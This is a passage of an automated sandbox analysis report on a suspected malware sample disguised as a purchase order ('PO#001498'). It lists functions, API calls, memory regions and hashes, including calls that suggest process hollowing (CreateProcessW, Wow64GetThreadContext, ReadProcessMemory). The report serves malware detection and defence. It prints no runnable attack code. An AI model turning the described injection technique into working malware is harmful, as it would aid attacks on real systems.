                                                                                                                                                                                                        • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                                                                        Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1496 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                                        • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$CreateShow
                                                                                                                                                                                                        • String ID: AutoIt v3$edit
                                                                                                                                                                                                        • API String ID: 1584632944-3779509399
                                                                                                                                                                                                        • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                                        • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                                                                        Function 03FEE3B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151fileCOMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1497 3fee3b8-3fee501 call 3fec008 call 3fee2a8 CreateFileW 1504 3fee508-3fee518 1497->1504 1505 3fee503 1497->1505 1508 3fee51f-3fee539 VirtualAlloc 1504->1508 1509 3fee51a 1504->1509 1506 3fee5b8-3fee5bd 1505->1506 1510 3fee53d-3fee554 ReadFile 1508->1510 1511 3fee53b 1508->1511 1509->1506 1512 3fee558-3fee592 call 3fee2e8 call 3fed2a8 1510->1512 1513 3fee556 1510->1513 1511->1506 1518 3fee5ae-3fee5b6 ExitProcess 1512->1518 1519 3fee594-3fee5a9 call 3fee338 1512->1519 1513->1506 1518->1506 1519->1518
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 03FEE2A8: Sleep.KERNELBASE(000001F4), ref: 03FEE2B9
                                                                                                                                                                                                        • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03FEE4F7
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateFileSleep
                                                                                                                                                                                                        • String ID: MLIW3921JHPT9121GOP
                                                                                                                                                                                                        • API String ID: 2694422964-767319260
                                                                                                                                                                                                        • Opcode ID: 42a3517f2880e401e9c2251ccdc89367bed8ff063d7277fd09995479f906a97d
                                                                                                                                                                                                        • Instruction ID: f9e2ce4b817df4193fb53dbd7e4024c0348376fa350bb72947d53430a90794c9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 42a3517f2880e401e9c2251ccdc89367bed8ff063d7277fd09995479f906a97d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 41518031E14348EAEF11DBE4D854BEEBB79AF28704F044199E258BB2C0D7B90B45CB65
                                                                                                                                                                                                        Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        • Executed
                                                                                                                                                                                                        • Not Executed
                                                                                                                                                                                                        control_flow_graph 1521 413a88-413a99 call 41718c 1524 413b10-413b15 call 4171d1 1521->1524 1525 413a9b-413aa2 1521->1525 1526 413aa4-413abc call 418407 call 419f6d 1525->1526 1527 413ae7 1525->1527 1539 413ac7-413ad7 call 413ade 1526->1539 1540 413abe-413ac6 call 419f9d 1526->1540 1529 413ae8-413af8 RtlFreeHeap 1527->1529 1529->1524 1532 413afa-413b0f call 417f23 GetLastError call 417ee1 1529->1532 1532->1524 1539->1524 1546 413ad9-413adc 1539->1546 1540->1539 1546->1529
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                                          • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                                                          • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                                                          • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                                                                                                                        • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                                        • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                                        • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2714421763-0
                                                                                                                                                                                                        • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                                        • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                                                                        Function 004734B7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 234COMMON
                                                                                                                                                                                                        Download Yara Rule

                                                                                                                                                                                                        Control-flow Graph

                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: #v
                                                                                                                                                                                                        • API String ID: 0-554117064
                                                                                                                                                                                                        • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                                        • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                                                                                                                        Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                                                          • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                                                          • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                                                        • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                                                                          • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                                                                          • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 1194219731-2761332787
                                                                                                                                                                                                        • Opcode ID: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                                                                                                                                        • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                                                                        Function 03FED2A8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateProcessW.KERNELBASE(?,00000000), ref: 03FEDA63
                                                                                                                                                                                                        • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03FEDAF9
                                                                                                                                                                                                        • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03FEDB1B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2438371351-0
                                                                                                                                                                                                        • Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                                                                                                                                                                        • Instruction ID: 8459190b4d8e0d1bd7bab0fd815c6b74d3bb49408e6555deddcb6232d2e7d505
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4162FA30A14258DBEB24CBA4CC54BDEB376EF58700F1091A9E10DEB790E7799E81CB59
                                                                                                                                                                                                        Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                                          • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                                          • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                                        • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                                                                        • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                        • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1411284514-0
                                                                                                                                                                                                        • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                                        • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                                                                        Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                                                                        • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                                                                        • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseOpenQueryValue
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3677997916-0
                                                                                                                                                                                                        • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                                        • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                                                                        Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00435278
                                                                                                                                                                                                          • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                                          • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                                          • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00435288
                                                                                                                                                                                                        • _malloc.LIBCMT ref: 00435298
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _malloc$AllocateHeap
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 680241177-0
                                                                                                                                                                                                        • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                                        • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                                                                        Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1473721057-0
                                                                                                                                                                                                        • Opcode ID: eacc0142db4d950baece999cff2e812bbd2e67c8ad5ab65b103d457396c453fe
                                                                                                                                                                                                        • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eacc0142db4d950baece999cff2e812bbd2e67c8ad5ab65b103d457396c453fe
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                                                                                                                                                        Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                                                                                                                        • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateFile
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 823142352-0
                                                                                                                                                                                                        • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                                        • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                                                                                                                        Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __lock_file_memset
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 26237723-0
                                                                                                                                                                                                        • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                                        • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                                                                                                                                                        Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                          • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                        • __lock_file.LIBCMT ref: 00414EE4
                                                                                                                                                                                                          • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                                                                                                                                                        • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                                                                                                                                                        Memory Dump Source
